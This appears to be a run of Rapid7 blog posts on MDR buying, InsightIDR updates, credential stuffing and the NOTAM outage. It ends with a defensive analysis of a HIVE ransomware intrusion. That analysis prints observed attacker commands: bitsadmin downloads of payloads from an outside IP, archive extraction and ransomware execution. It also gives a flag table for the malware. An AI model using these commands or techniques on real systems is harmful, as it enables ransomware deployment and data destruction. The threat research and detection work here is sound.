Not all MDR services are created equal, and in order for organizations to find the right partner for their managed detection and response needs, Gartner® has published a Market Guide report offering key insights for businesses of all sizes. At Rapid7, we are proud to offer this complimentary report and share our three key takeaways from it.
MDR services have skyrocketed over the past few years. In the report, Gartner says: “MDR is a high-growth, established market (see Market Share: Managed Security Services, Worldwide, 2021 where MDR is a distinct segment, the MDR market grew 48.9% from 2020 to 2021).”
Because of the high growth in the market, many managed security services use the term MDR. However, organizations looking for a true Managed Detection and Response partner, should look to the Gartner definition to identify the right vendor.
Gartner puts it this way: “MDR services provide customers with remotely delivered, humanled, turnkey, modern SOC functions; ultimately delivering threat disruption and containment.”
But choosing a strong MDR partner goes far beyond these high-level requirements. Below are our key takeaways from the report. Without further ado, let's dive right in.
Takeaway 1: Beware Providers Mimicking MDR
The key to MDR lies as much in the human-centric nature of the service as the power of the technology behind it. Managed Detection and Response is just that… managed. It requires a human with expertise not only in understanding the detection and remediation of threats and breaches, but how these correlate to your business and its goals. Sadly, not all services claiming to be MDR lead with this human expertise.
Gartner shares: “Misnamed technology-centric offerings and vendor-delivered service wrappers (VDSW), that fail to deliver human-driven managed detection and response (MDR) services, are causing challenges for buyers looking to identify and select an outcome-driven provider.”
Human-analyzed context is critically important to the success of an MDR program and an organization's outcomes in their security programs. Unfortunately, some providers are not living up to their own marketing materials. For instance, Gartner found that some “deliver a far less human-driven experience, depending on the technology for the bulk of the delivery. Although still valuable, these offerings are often promoted as being more engaged than they actually are and would be better described as managed EDR (MEDR).”
Takeaway 2: Context is King
This could be considered a corollary to the previous takeaway, but we acknowledge how important it is for an MDR provider to understand your organization's unique environment, the context of threats, and how those threats have potential to impact your business. It is not enough to simply detect and remediate threats; an MDR SOC should understand which threats and types of threats will have the biggest impact on your company or organization.
The human-led nature of successful MDR programs means that a company can rest assured that their MDR SOC is able to provide insights that are actually useful to boost their customer's outcomes.
Gartner has this to say on the subject: “MDR buyers must focus on the ability to provide context-driven insights that will directly impact their business objectives, as wide-scale collection of telemetry and automated analysis are insufficient when facing uncommon threats.”
We feel this has a direct relationship with the expertise of the MDR provider and the quality of the technology they are providing. Too much information without the context necessary to triage and prioritize could overwhelm any security team. Too little information and threats go unchecked. Finding the right balance between the tech and expertise is critical.
Takeaway 3: Threats Know No Boundaries
Ok, that subhead may be a little hyperbolic, but it should surprise no one that threat actors aren't clocking out at 5pm on a Friday and taking holidays off. Your MDR SOC can't either. Gartner recommends “Use MDR services to obtain 24/7, remotely delivered, human-led security operations capabilities when there are no existing internal capabilities, or when the organization needs to accelerate or augment existing security operations capabilities.”
So, what exactly does that mean? Essentially, any MDR SOC you choose should provide round-the-clock security that knows no geographical limitations, and has a team of experts actively detecting, assessing, and providing remediation recommendations for threats whenever they arise.
Gartner says: “Turnkey threat detection, investigation and response (TDIR) capabilities are a core requirement for buyers of MDR services who demand remotely delivered services deployed quickly and predictably.”
A follow-the-sun approach that puts highly competent security experts at your fingertips 24/7, 365, and that melds the human-centric nature of deep cybersecurity and business analysis with a powerful threat-detecting technology solution would make for a compelling MDR service option.
Choosing an MDR partner requires some serious due diligence and understanding of your organization's priorities. This Market Guide helps MDR buyers understand the state of the market and what to look for in an effective MDR provider. Our three takeaways are in no way comprehensive; download the full report to learn more.
Gartner, “Market Guide for Managed Detection and Response Services” Pete Shoard, Al Price, Mitchell Schneider, Craig Lawson, Andrew Davies. 14 February 2023.
GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.
Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.
InsightIDR received a number of exciting updates in Q1 2023, including faster search, a redesigned UI, updated investigations, support for Insight Network Sensor, Enhanced Endpoint Telemetry, and more.
In our effort to empower practitioners to feel confident in their detection and response capabilities, we focused on functionality that accelerates investigation and response time. Below you will find key launches and enhancements from the last three months.
Equipped with new features and better interactivity for a more seamless user experience, the new Log Search provides teams the ability to load selected log sets 3x faster in addition to providing:
Easy share and analysis of Log Search queries.
Customization of log data in Table View, JSON Format, and Condensed Format.
Increased Visibility, More Coverage with Updated Investigations Functionality
InsightIDR now provides more visibility into actions taken during an investigation. The investigation audit log records updates made in the investigation, when those updates were made, and the user who made them. Additional features include visibility in Log Search as a part of the Audit Logs log set.
Additionally, two new options are added in Investigations to help practitioners more accurately describe an investigation’s current state - waiting status and unknown disposition. Teams can:
Use the Waiting status to indicate that the investigation is in a pending state while more information is gathered.
Use the Unknown disposition to indicate that the maliciousness of the investigation couldn’t be determined.
Understand Traffic data via VLANs or Ports with ERSPAN Support for Insight Network Sensor
Security teams can now use Encapsulated Remote SPAN (ERSPAN) with the Insight Network
Sensor to mirror traffic associated with one or more VLANs or ports. When configured, a switch will send the SPAN traffic to a Sensor over IP. This allows teams to deploy a Sensor on whatever platform they want and get a copy of network traffic from a crucial network location such as a core switch. Practitioners can enable ERSPAN on a per Sensor basis from the Sensor Management page.
Enriched Endpoint Response with Enhanced Endpoint Telemetry (EET) Data
InsightIDR customers can now leverage EET (captured by the Insight Agent) and capture endpoint process start metadata to create custom detections, accelerate investigations, and help respond with greater precision. InsightIDR Advanced customers have access to a 7 day view; while InsightIDR Ultimate customers have a 13 month view.
Rapid7 provides organizations the world’s only, practitioner-first security solutions. Each product, including InsightIDR, is purpose-built by practitioners, for practitioners to ensure teams achieve elevated outcomes without compromise.
We’re always working on new product enhancements and functionality to ensure teams can stay ahead of potential threats and malicious activity. Keep an eye on the Rapid7 blog and the InsightIDR release notes to keep up to date with the latest detection and response releases at Rapid7.
You’re in cybersecurity, so we’ll guess: 2022 crashed in with Log4Shell and, for the most part, got more challenging—never less. So, we kept making tangible improvements to InsightIDR, our cloud-native next-gen SIEM and XDR. We worked with some of our most forward-deployed practitioners: Rapid7 MDR, Threat Intelligence and Detections Engineering, our open source communities, and our customers. New features and functions address pain points and achieve specific goals.
Let’s review some of the highlights:
Accelerated response time with automated Quick Actions
Earlier in the year, InsightIDR launched the Quick Actions feature which provides teams with instant automation to reduce the time it takes to search, investigate, and respond with a simple click. Example use-cases include:
Threat hunting within log search. Using the “Look Up File Hash with Threat Crowd” quick action, teams can learn more about a hash within an endpoint log. If the output of the quick action finds the file hash is malicious, practitioners can choose to investigate further.
More context around alerts in investigations. Leveraging the “Look Up Domain with WHOIS” quick action enables teams to receive more context around an IP associated with an alert in an investigation
“InsightIDR is a real savior, we have reduced our time for log correlation, responding to incidents, not opening multiple tabs and logging into different platforms to understand what happened.”—Abhi Patel, Information Security Officer, Prime Bank. Source: TechValidate
Expanded visibility across cloud and external attack surface
With InsightIDR, teams have security that grows and scales alongside their business - both on-prem and in the cloud. This year we focused on empowering security teams with cloud incident response capabilities by providing robust integrations with AWS CloudTrail and Microsoft Azure, while also enabling cloud detections with our AWS Guard Duty Detections, AWS Cloud Trail Detections, and more.Customers have the full context of their cloud telemetry and detections alongside their wider environment to get a full, cohesive picture and investigate malicious activity and threats that may move across multiple devices and infrastructures.
Additionally, with Threat Command and InsightIDR together, customers can unlock a complete view of your external and internal attack surface. You can now view Threat Command alerts alongside their broader detection set in InsightIDR:
Prioritize and investigate Threat Command alerts:Use InsightIDR’s investigation management capabilities and seamlessly pivot back to Threat Command to remediate the threat or ask an analyst for help.
Tune Threat Command detection rules directly in InsightIDR: Adjust the rule action, set the rule priority, and add exceptions.
Lastly, Rapid7 provides all customers with 13 months of data retention by default—so they are always audit-ready. To support compliance regulations, we launched new dashboards for organizations to ensure they are meeting requirements. For example, we launched new dashboards for CIS, a common security framework, covering:
CIS Control 5 - Account Management
CIS Control 9 - Email and Web Browser Protections
CIS Control 10 - Malware Defense
“With Rapid7’s InsightIDR, we have a greater handle on threats. We are able to resolve issues quicker and reduce maximum tolerable downtime, our incident management procedures and real-time actions have improved immeasurably too, and we have better cyber hygiene as well.”—Security Officer, Medium Enterprise Chemicals Company. Source: TechValidate
Confidence with expertly curated and vetted detections
Rapid7 Threat Intelligence and Detection Engineering (TIDE) team has curated and is continuously updating our XDR detection library that is expertly vetted by the Rapid7 MDR SOC. The detection library is a result of meticulous research, our vast open source community, security forums, and industry expertise to provide your teams the data they need for sophisticated detection and response. Last year we launched a slew of new detections, a bulk being IDS rules, but worth highlighting is the expanded coverage of tracked threat actors with the Threat Command integration. By integrating our Attacker Behavior Analytics (ABA) detection engine with Threat Command’s threat library intelligence, customers can access broader detections, and new threat groups with around 400 new ABA detection rules powered by thousands of new IOCs.
We also added a new ABA detection rule - Anomalous Data Transfer (ADT) that uses the Insight Network Sensor to identify large transfers of data sent by assets on a network and outputs alerts for easier monitoring of unusual behavior and potential exfiltration.
“InsightIDR provided value to us on Day-1. We didn't have to write long lists of rules or tweak hundreds of settings in order to get security alerts from our operating environment. Better still, the signal-to-noise ratio of the alerts is great; little-to-no false positives."—Philip Daly, VP Infrastructure and Information Security, Carlton One Engagement. Source: TechValidate
Looking ahead
Watch this space! We’re always working on new product enhancements and functionality to ensure your team can stay ahead of potential threats and malicious activity. Keep an eye on the Rapid7 blog and the InsightIDR release notes to keep up to date with the latest detection and response releases at Rapid7.
Sometimes tools are blunt because there’s nothing else. Regarding economic controls for example, Fed Chair Jerome Powell said: “We have essentially interest rates, the balance sheet and forward guidance. They are famously blunt tools, they are not capable of surgical precision."
Others are blunt because they’re new and these things take time. For example: stereos in the 1960s shook the floors with unrestrained subwoofers. Yes, it was the Beatles and Ringo Star on the drums, but still. It took years to refine this new technology to enhance the music instead of assaulting our senses.
Taking off shoes at the airport? Blunt.
Years later, Real ID and TSA Pre-Check®? Better.
Coming soon: Facial recognition and biometric screening, better still—after privacy concerns are addressed.
Cybersecurity has used blunt tools, followed by far too many “better ones.” The average security team is now managing 76 tools, and spending more than half their time manually producing reports. The way out is a sharp tool to replace all these better ones—a resource that will actually get the job done. Start with our newly released 2023 XDR Buyer’s Guide.
XDR consolidation and precision has arrived, just know what to look for
Security programs succeed when they have a library of curated, high-fidelity detections backed by threat intelligence that they can trust out-of-the-box. Anything else is low performance guesswork.
Huge numbers of alerts that teams must review and triage can lead to missing high profile threats. Extended Detection and Response (XDR) solutions deliver tailored security alerts that are quantified and scored to improve signal-to-noise ratio and help catch threats early in the attack chain. XDR also eliminates context switching and ensures you have high context, correlated investigation details, blending relevant data from across different event sources into one, coherent picture.
XDR delivered: MDR
With Rapid7, XDR security can also be delivered to you as an end-to-end, turnkey service. Managed detection and response (MDR) can be a game changer, with always-on threat detection, incident validation, and response (such as threat containment). Some providers offer features like threat intelligence, human-led threat hunting, behavior analytics, automation, and more to your capabilities.
A good MDR provider will be 100% end-to-end responsible, however, it should also be an extension of your in-house team. Look for a provider that will freely share the XDR technology with your in-house operation, and work transparently. Your team should be able to observe your environment exactly as the MDR team does, do their own threat hunting, and more—whatever level of collaboration you’d like to see.
2023 is the year of consolidation and XDR. But no change, however awesome or overdue, is easy. We hope this XDR Buyer’s Guide helps.
Using food or grocery delivery apps is great. It really is. Sure, there’s a fee, but when you can’t bring yourself to leave the house, it’s a nice treat to get what you want delivered. As a result, adoption of food apps has been incredibly fast and they are now a ubiquitous part of everyday culture. However, the tradeoff for that convenience is risk. In the past few years, cybercriminals have turned their gaze upon food and grocery delivery apps.
According to McKinsey, food delivery has a global market worth of over $150 billion, more than tripling since 2017. That equates to a lot of people entering usernames, passwords, and credit card numbers into these apps. That’s a lot of growth at an extremely rapid pace, and presents the age-old challenge of security trying to keep pace with that growth. Oftentimes it’s not a successful venture; specifically, credential stuffing (no relation to Thanksgiving stuffing or simply stuffing one’s face) is one of the major attacks of choice for bad actors attempting to break into user accounts or deploy other nefarious attacks inside of these apps.
Sounding the alarm
The FBI, among its many other cybercrime worries, recently raised the alert on credential stuffing attacks on customer app accounts across many industries. The usual-suspect industries—like healthcare and media—are there, but now the report includes “restaurant groups and food-delivery,” as well. This is notable due to that sector’s rapid adoption of apps, their growth in popularity among global consumers, and the previously mentioned challenges of security keeping pace with development instead of slowing it down.
The FBI report notes that, “In particular, media companies and restaurant groups are considered lucrative targets for credential stuffing attacks due to the number of customer accounts, the general demand for their services, and the relative lack of importance users place on these types of accounts.” Combine that with things like tutorial videos on hacker forums that make credential stuffing attacks relatively easy to learn, and it’s a (to continue with the food-centric puns) recipe for disaster.
Some background on credential stuffing
This OWASP cheat sheet describes credential stuffing as a situation when attackers test username/password pairs to gain access to one website or application after obtaining those credentials from the breach of another site or app. The pairs are often part of large lists of credentials sold on attacker forums and/or the dark web. Credential stuffing is typically part of a larger account takeover (ATO), targeting individual user accounts, of which there are so, so many on today’s popular delivery apps.
To get a bit deeper into it, the FBI report goes on to detail how bad actors often opt for the proxy-less route when conducting credential stuffing attacks. This method actually requires less time and money to successfully execute, all without the use of proxies. And even when leveraging a proxy, many existing security protocols don’t regularly flag them. Add to that the recent rise in the use of bots when scaling credential stuffing attacks and the recipe for disaster becomes a dessert as well (the puns continue).
All of these aspects contributing to the current state of vulnerability and security on grocery and food-delivery apps are worrying enough, but also creating concern is the fact that mobile apps (the primary method of interaction for food delivery services) typically permit a higher rate of login attempts for faster customer verification. In fairness, that can contribute to a better customer experience, but clearly leaves these types of services more vulnerable to attacks.
Cloud services like AWS and Google Cloud can help their clients fend off credential stuffing attacks with defenses like multifactor authentication (MFA) or a defense-in-depth approach that combines several layers of protection to prevent credential stuffing attacks. Enterprise customers can also take cloud security into their own hands—on behalf of their own customers actually using these apps—when it comes to operations in the cloud. Solutions like InsightCloudSec by Rapid7 help to further govern identity and access management (IAM) by implementing least-privilege access (LPA) for cloud workloads, services, and data.
Solutions to breed customer confidence
In addition to safeguards like MFA and LPA, the FBI report details a number of policies that food or grocery-delivery apps can leverage to make it harder for credential thieves to gain access to the app’s user-account base, such as:
Downloading publicly available credential lists and testing them against customer accounts to identify problems and gauge their severity.
Leveraging fingerprinting to detect unusual activity, like attempts by a single address to log into several different accounts.
Identifying and monitoring for default user-agent strings leveraged by credential-stuffing attack tools.
Detection and response (D&R) solutions like InsightIDR from Rapid7 can also leverage the use of deception technology to lure attackers attempting to use stolen credentials. By deploying fake honey credentials onto your endpoints to deceive attackers, InsightIDR can automatically raise an alert if those credentials are used anywhere else on the network.
At the end of the day, a good meal is essential. It’s also essential to protect your organization against credential stuffing attacks. Our report, Good Passwords for Bad Bots, offers practical, actionable advice on how to reduce the risk of credential-related attacks to your organization.
As we continue to empower security teams with the freedom to focus on what matters most, Q4 focused on investments and releases that contributed to that vision. With InsightIDR, Rapid7’s cloud-native SIEM and XDR solution, teams have the scale, comprehensive contextual coverage, and expertly vetted detections they need to thwart threats early in the attack chain.
This 2022 Q4 recap post offers a closer look at the recent investments and releases we’ve made over the past quarter. Here are some of the highlights:
Easy to create and manage log search, dashboards, and reports
You spoke, we listened! Per our customers, you can now create tables with multiple columns, allowing teams to see all data in one view. For example, simply add a query with a “where” clause and select a table display followed by the columns you want displayed.
Additionally, teams can reduce groupby search results with the having() clause. Customers can filter out what data is returned from groupby results with the option to layer in existing analytics function support (e.g. count, unique, max).
Accelerated time to value
The InsightIDR Onboarding Progress Tracker, available for customers during their 90 day onboarding period, is a self-serve, centralized check-list of onboarding tasks with step-by-step guidance, completion statuses, and context on the “what” and “why” of each task.
No longer onboarding? No problem! We made the progress tracker available beyond the 90-day onboarding period so customers can evaluate setup progress and ensure InsightIDR is operating at full capacity to effectively detect, investigate, and respond to threats.
Visibility across your modern environment
For those that leverage Palo Alto Cortex, you can now configure Palo Alto Cortex Data Lake to send activity to InsightIDR including syslog-encrypted Web Proxy, Firewall, Ingress Authentication, etc. Similarly, for customers leveraging Zscaler, you can now configure Zscaler Log Streaming Service (LSS) to receive and parse user activity and audit logs from Zscaler Private Access through the LSS.
For teams who do not have the bandwidth to set up and manage multiple event sources pertaining to Cisco Meraki, we have added support to ingest Cisco Meraki events through the Cisco Meraki API. This will enable you to deploy and add new event sources with less management.
Customers can now bring data from their Government Community Cloud (GCC) and GCC High environments when setting up the Office365 event source to ensure security standards are met when processing US Government data.
Stay tuned!
We’re always working on new product enhancements and functionality to ensure your team can stay ahead of potential threats and malicious activity. Keep an eye on the Rapid7 blog and the InsightIDR release notes to keep up to date with the latest detection and response releases at Rapid7.
The “right” criteria is whatever works to further your security organization’s specific needs in detection and response (D&R). There’s only so much budget to go around—and successfully obtaining a significant year-over-year increase can be rare. The last thing anyone wants to be known for is depleting that budget on a service provider that doesn’t deliver.
At Rapid7, we’ve spoken extensively about how a security operations center (SOC) can evaluate its current D&R proficiency to determine if it would be beneficial to extend those capabilities with a managed detection and response (MDR) provider. In an ongoing effort to help security organizations thoughtfully consider potential providers, we’re pleased to offer this complimentary Gartner® report, Quick Answer: What Key Questions Should I Ask When Selecting an MDR Provider?
This asset acts as a time-saving report for quick answers when vetting several potential providers. Key questions to ask yourself and your service providers include:
Yourself: Are we looking for providers that can improve our incident response capabilities?
Yourself: Do we have use cases specific to our environment that the MDR provider must accommodate?
Yourself: What functionality do we need from the provider’s portal?
Provider: How good are you at detecting threats that have bypassed existing, preventative controls?
Provider: How do you secure, and how long do you retain, the data you collect from customers?
Provider: What response types are provided as a component of the MDR service, and what is the limit of those response activities?
Before expecting any quick answers though, it’s crucial to consider…
Your criteria framework
Your organization might conduct a new audit of desired outcomes and team capabilities and discover it actually can handle the vast majority of D&R tasks. That’s why it’s crucial to go through that process of discovery of what you really need and determine if you can responsibly avoid spending money. Gartner says:
“Many buyers struggle to formulate effective RFPs that can solicit relevant information from providers to help in the initial evaluation and down-select process. Therefore, it is critical that buyers construct the must have, should have, could have and won’t have (MoSCoW) framework. Using these criteria will ensure they are able to effectively make selection choices based on genuine business needs.”
Also, what is the platform from which you are launching your evaluation process? Will this be the first engagement of an MDR service provider or are you changing providers for one reason or another? If the latter is true, then you’ll most likely have loads of existing data to inform your buying experience this time around. It’s also critical to get a strong sense of what the implementation process will look like after a service agreement has been signed. Gartner says:
“Selecting an MDR service provider to obtain modern SOC services can be a challenging process that requires the appropriate planning and evaluation processes before, during and after an agreement. Gartner clients face several unique challenges when evaluating and implementing MDR services.”
An urgent need
The need for additional or enhanced threat monitoring creeps ever upward, thus the need for regular re-evaluation of your D&R capabilities. Rather than ramping up the evaluation and MDR engagement process at a faster pace each time out, taking the time to think through and document desired outcomes with key stakeholders will ultimately save your security organization headaches…and money. Gartner says:
“The process for scoping use cases and requirements, and assessing MDR service offerings, often includes a negotiation and evaluation exercise where a “best match” and “ideal partner” is identified. Prior to starting any outsourcing initiative, requirements need to be documented and ratified (and continuously updated post onboarding), or else the old adage of “garbage in, garbage out” is likely to be realized.”
Take the time
It can be a rigorous evaluation process when determining your organization’s capacity for effective D&R. If your team is stretched too thin, a managed services provider could help. For a deeper dive into the MDR evaluation process, check out the complimentary Gartner report.
Gartner, “Quick Answer: What Key Questions Should I Ask When Selecting an MDR Provider?” John Collins, Andrew Davies, Craig Lawson, 10 November 2021.
GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.
Save the links. Pass them around. And consider getting your copy of the new 2023 XDR Buyer’s Guide—because if this isn’t a time for reckoning and progress, what is?
The news: on Wednesday, the United States grounded all flights coast-to-coast for the first time since 9/11. The Federal Aviation Administration’s (FAA) Notice to Air Missions system (NOTAM) failed, leaving pilots without vital information they need to fly.
Separate from air traffic control systems, NOTAM ingests data from over 19,000 U.S. airports big and small. It then alerts specific pilots about specific anomalies to expect during 45,000 flights every day: the very latest runway closures, airspace restrictions, disruption of navigational signals, birds that can threaten a plane’s engines, anything.
Apparently, a corrupted file in the software was to blame for the system failure. This, from NBC News:
“...a government official said a corrupted file that affected both the primary and the backup NOTAM systems appeared to be the culprit. Investigators are working to determine if human error or malice is to blame for taking down the system, which eight contract employees had access to. At least one, perhaps two, of those contractors made the edit that corrupted the system, two government sources said Thursday.”
It will likely be a while before we know exactly what happened. But security practitioners might consider jumping to one conclusion today: your argument for investing in a detection and response solution which will provide visibility across your modern environment just got better. It’s important to have the right tools and systems in place, in all areas of your business from infrastructure to security, in order to have business continuity. Even with initiatives like legacy modernization, security teams need to have a view of their threat landscape as it expands.
Is anyone more responsible for business continuity than you?
Recently, CISOs have been named as defendants in several shareholder, civil, and criminal actions. At the same time, CISOs are feeling less and less “personal responsibility” for security events, dropping from 71% to 57% in just one year. Security teams are spending more than half their time manually producing reports, pulling in data from multiple siloed tools. And silos present unacceptable risk. Something has to give.
While capabilities can vary across XDR vendors, the promise is to integrate and correlate data from numerous security tools — and from across varying environments — so you can see, prioritize, and eliminate threats, and move on quickly. The vendor evaluation process isn’t easy. But XDR is well worth it.
How XDR can be a staffing and efficiency game-changer
Key questions to ask as you evaluate options
The hidden lesson in the NOTAM outage? Less is more.
Patrick Kiley, Principal Security Consultant and Research Lead at Rapid7 has a long transportation background. He said that when organizations need to migrate off dated systems, it tends to be a “forklift upgrade, which typically requires significant resources.” That could include development, testing, cloud computing or hardware investment, and of course skilled cybersecurity personnel—who are in short supply these days.
“This kind of migration is a bear,” Kiley said, “so organizations tend to put them off.”
How malicious actors evade detection and disable defenses for more destructive HIVE Ransomware attacks.
Rapid7 routinely conducts research into the wide range of techniques that threat actors use to conduct malicious activity. One objective of this research is to discover new techniques being used in the wild, so we can develop new detection and response capabilities.
Recently, Rapid7 observed a malicious actor performing several known techniques for distributing ransomware across many systems within a victim’s environment. In addition to those techniques, the actor employed a number of previously unseen techniques designed to to drop the defenses of the victim, inhibit monitoring, disable networking and allow time for the ransomware to finish encrypting files. These extra steps would make it extremely difficult, if not impossible, for a victim to effectively use their security tools to defend endpoints after a certain point in the attack.
Rapid7 has updated existing and added new detections to InsightIDR to defend against these techniques. In this article, we’ll explore the techniques employed by the threat actor, why they’re so effective, and how we’ve updated InsightIDR to protect against them.
What approach did the malicious actor take to prepare the victim's environment?
Initially using Cobalt Strike, the malicious actor retrieved system administration tools and malicious payloads by using the Background Intelligent Transfer Service (BITSAdmin).
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
bitsadmin /transfer debjob /download /priority normal http://79.137.206.47/int.exe C:\Windows\int.exe
The malicious actor then began using the remote process execution tool PSExec to execute batch files (rdp.bat) that would cause registry changes to enable Remote Desktop sessions (RDP) using reg.exe. This enabled the malicious actor to laterally move throughout the victim’s environment using the graphical user interface.
Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following:
Copy down batch scripts
Execute batch scripts (file1.bat), which:
Creates administrator account on the local system
Reconfigures boot configuration data (bcdedit.exe) so that the host will not load any additional drivers or services (ie: network drivers or endpoint protection)
Sets various registry values to ensure the created local administrator user will automatically logon by default
Changes the Windows Shell from Explorer to their malicious script (file2.bat)
Reboots the system with the shutdown command
On reboot, the system logs in and executes the shell (file2.bat), which:
Extracts HIVE ransomware payload(s) from an encrypted archive (int.7z) using 7-Zip's console executable (7zr.exe)
Executes the ransomware payload (int.exe or int64.exe)
Below are some commands observed executed by the malicious actor (with necessary redactions):
Rapid7 also observed the malicious actor extracting HIVE ransomware payload using 7zip's console application (7zr.exe) from encrypted 7zip archive (int.7z) with a simple password (123):
"C:\windows\7zr.exe" x c:\windows\int.7z -p123 -oc:\windows
The malicious actor then manually executed the ransomware (int.exe) once with only the required username:password combination passed to the -u flag. This presumably encrypted the local drive and also all network shares the user had access to:
"C:\Windows\int.exe" -u <REDACTED>:<REDACTED>"
The malicious actor also manually executed the 64 bit version of the ransomware (int64.exe) once on a different host with the -no-discovery flag. This is likely intended to override the default behavior and not discover network shares to encrypt their files. The -u flag was also passed and the same values for the username:password were provided as seen on the other host.
Deployment of ransomware using Active Directory group policies allows the malicious actor to hit all systems in the environment for as long as that group policy is active in the victim’s environment. In this case, any system that was booting and connected to the environment would receive the configuration changes, encrypted archive containing the ransomware, a decompression utility to extract the ransomware, configuration changes and the order to reboot and execute. This can be especially effective if timed with deployments of patches that require a reboot, done at the beginning of the day or even remotely using Powershell's Stop-Computer cmdlet.
Storing the ransomware within a 7zip encrypted archive (int.7z) with a password even as simple as (123) makes the task of identifying the ransomware on disk or transmitted across the network nearly impossible. This makes retrieval and staging of the malicious actors payload very difficult to spot by security software or devices (Antivirus, Web Filtering, IDS/IPS and more). In this case, the malicious actor has taken care to only put the encrypted copy on the disk of a victim’s system and not execute it until they have fully dropped the defenses on the endpoint.
Reconfiguring the default boot behavior to safeboot minimal and then executing a reboot unloads all but the bare minimum for the Windows operating system. With no additional services, software or drivers loaded the system is at its most vulnerable. With no active defenses (Antivirus or Endpoint Protection) the system comes up and tries to start its defined shell which has been swapped to a batch script (file2.bat) by the malicious actor.
It should be noted that in this state, there is no method of remotely interacting with the system as no network drivers are loaded. In order to respond and halt the ransomware, each host must be physically visited for shutdown. Manually priming the host in this way is more effective than the existing capabilities of the HIVE ransomware which stops specific defensive services (Windows Defender, etc) and kills specific processes prior to encrypting the contents of the drive.
All systems in this state are left automatically logged in as an administrator, which gives anyone who has physical access complete control. Lastly, the system will continue to boot into safeboot minimal mode by default (again, no networking) until each system is set back to its original state with a command such as below. Bringing the host back online in this state will still continue to execute the malware when logged into, which will also enable the default network spreading behavior.
bcdedit /deletevalue {default} safeboot
Lastly, the malicious actor also manually executed the payload a few times on systems that had not been put into safeboot minimal and rebooted. Systems they executed with only the -u flag actively searched out network shares they had access to and encrypted their contents. This ensures that only the intended hosts do network share encryption and all those that were rebooted into safeboot minimal do not flood the network simultaneously encrypting all files. It also means that the contents of network file shares that are not Windows based (various NAS devices, Linux hosts using Samba) will be encrypted even if the payload is not actually deployed on that specific host. This approach would be extremely destructive to both corporate environments and home users with network attached storage systems for backups. Rapid7 notes that ThreatLocker have reported on similar activity in their knowledge base article entitled Preventing BCDEdit From Being Weaponized.
Malware analysis of HIVE sample
Rapid7 observed that the HIVE payload would not execute unless a flag of -u was passed. During analysis it was discovered that passing -u asdf:asdf would result in the Login and Password (colon-delimited) provided to the victim to authenticate to the site behind the onion link on the TOR network:
The new flags -t, -timer, --timer effectively cause the malware to wait the specified number of seconds before going on to perform its actions. The other new flags -low-key, --low-key will cause the ransomware to focus on only its encryption of data and not perform pre-encryption tasks, including deleting shadow copies (malicious use of vssadmin.exe, wmic.exe), deleting backup catalogs (malicious use of wbadmin.exe), and disabling Windows Recovery Mode (malicious use of bcdedit.exe). These features give the malicious actor more control over how/when the payload is executed and skirt common methods of command line and parent/child process related detection for most ransomware families.
Fundamentally, the sample’s respective flags distill down into encryption operations of local, mount and discovery. The local module utilizes the LookupPrivilegeValueW and AdjustTokenPrivileges that Windows API calls on its own process via GetCurrentProcess and OpenProcessToken to obtain SeDebugPrivilege privileges. This is presumably crucial for OpenProcess -> OpenProcessToken -> ImpersonateLoggedOnUser API call attempts to processes: winlogon.exe and trustedinstaller.exe to subsequently stop security services and essential processes, if the --low-key is not passed during execution. ShellExecuteA is also used to launch various Windows binaries (bcdedit.exe, notepad.exe, vssadmin.exe, wbadmin.exe, wmic.exe) for destruction of backups and ransom note display purposes. The mount module will use NetUseEnum to identify the current list of locally-mounted network shares and add them to the list to be encrypted. Lastly, the discovery module will use NetServerEnum to identify available Windows hosts within the domain/workgroup. This list is then used with NetShareEnum to identify file shares on each remote host and add them to the list of locations to have their files encrypted.
By default, all three modes (local, mount and discovery)are enabled, so all local, mounted and shares able to be enumerated will have their contents encrypted. This effectively ransoms all systems in a victim’s environment with a single execution of HIVE—when performed by a privileged user such as a Domain or Enterprise Admin account. Command line flags may be used to change this behavior and invoke one or more of the modules. For instance—local-only will use only the local module while—network-only will use the mount and discovery modules.
Flag
Description
-u
<username>:<password> for login for hivecust*.onion domain to identify victim
-da
<domainname>\<username>:<password> use different credentials when doing network spreading. Likely shorthand for "Domain Admin". Calls LogonUserW triggering an 4624(S): Type 3 Network Logon event. Will then call ImpersonateLoggedOnUser using the token in the response from LogonUserW.
-low-key --low-key
Encrypt files and open ransom note, if local filesystem is to be encrypted, but do not spawn other binaries (vssadmin.exe, WMIC.exe, wbadmin.exe, bcdedit.exe) to perform other destructive actions for impact. Will also skip enumeration and stopping of antivirus software.
-no-local --no-local
Do not encrypt local files
-no-mounted
--no-mounted
Do not encrypted mounted filesystems
-no-discovery
--no-discovery
Do not enumerate or encrypt file shares on the network
-local-only --local-only
Only encrypt local file systems
-network-only --network-only
Only encrypt file shares on the network.
-explicit-only --explicit-only
Only encrypt files in this specific path specified
-min-size --min-size
Only encrypt files greater than or equal to a specific number of bytes
-t -timer --timer
Do not encrypt files until after specified number of seconds
By default, the ransomware will execute the following child processes with the following arguments:
Use of vssadmin.exe in order to delete shadow copies of files which deletes unencrypted backups of files they are attempting to ransom:
Rapid7 has detections in place within InsightIDR through Insight Agent to detect this type of ransomware activity. However, since the malicious actor is rebooting into safemode minimal state, endpoint protection software and networking will not be running while the endpoint is executing ransomware.
So, identifying the actions of a malicious actor before ransomware is deployed is crucial to preventing the attack. In other words, it is essential to identify malicious actors within the environment and eject them before the ransomware payload is dropped.
The following detections are now available InsightIDR to identify this attacker behavior.
Attacker Technique - Auto Logon Count Set Once
Attacker Technique - Potential Process Hollowing To DLLHost
Attacker Technique - Shutdown With Message Used By Malicious Actors
Attacker Technique - URL Passed To BitsAdmin
Lateral Movement - Enable RDP via reg.exe
Suspicious Process - BCDEdit Enabling Safeboot
Suspicious Process - Boot Configuration Data Editor Activity
Suspicious Process - DLLHost With No Arguments Spawns Process
Suspicious Process - Rundll32.exe With No Arguments Spawns Process
Suspicious Process - ShadowCopy Delete Passed To WMIC
Suspicious Process - Volume Shadow Service Delete Shadow Copies
IOC's
Type
Value
Registry Key
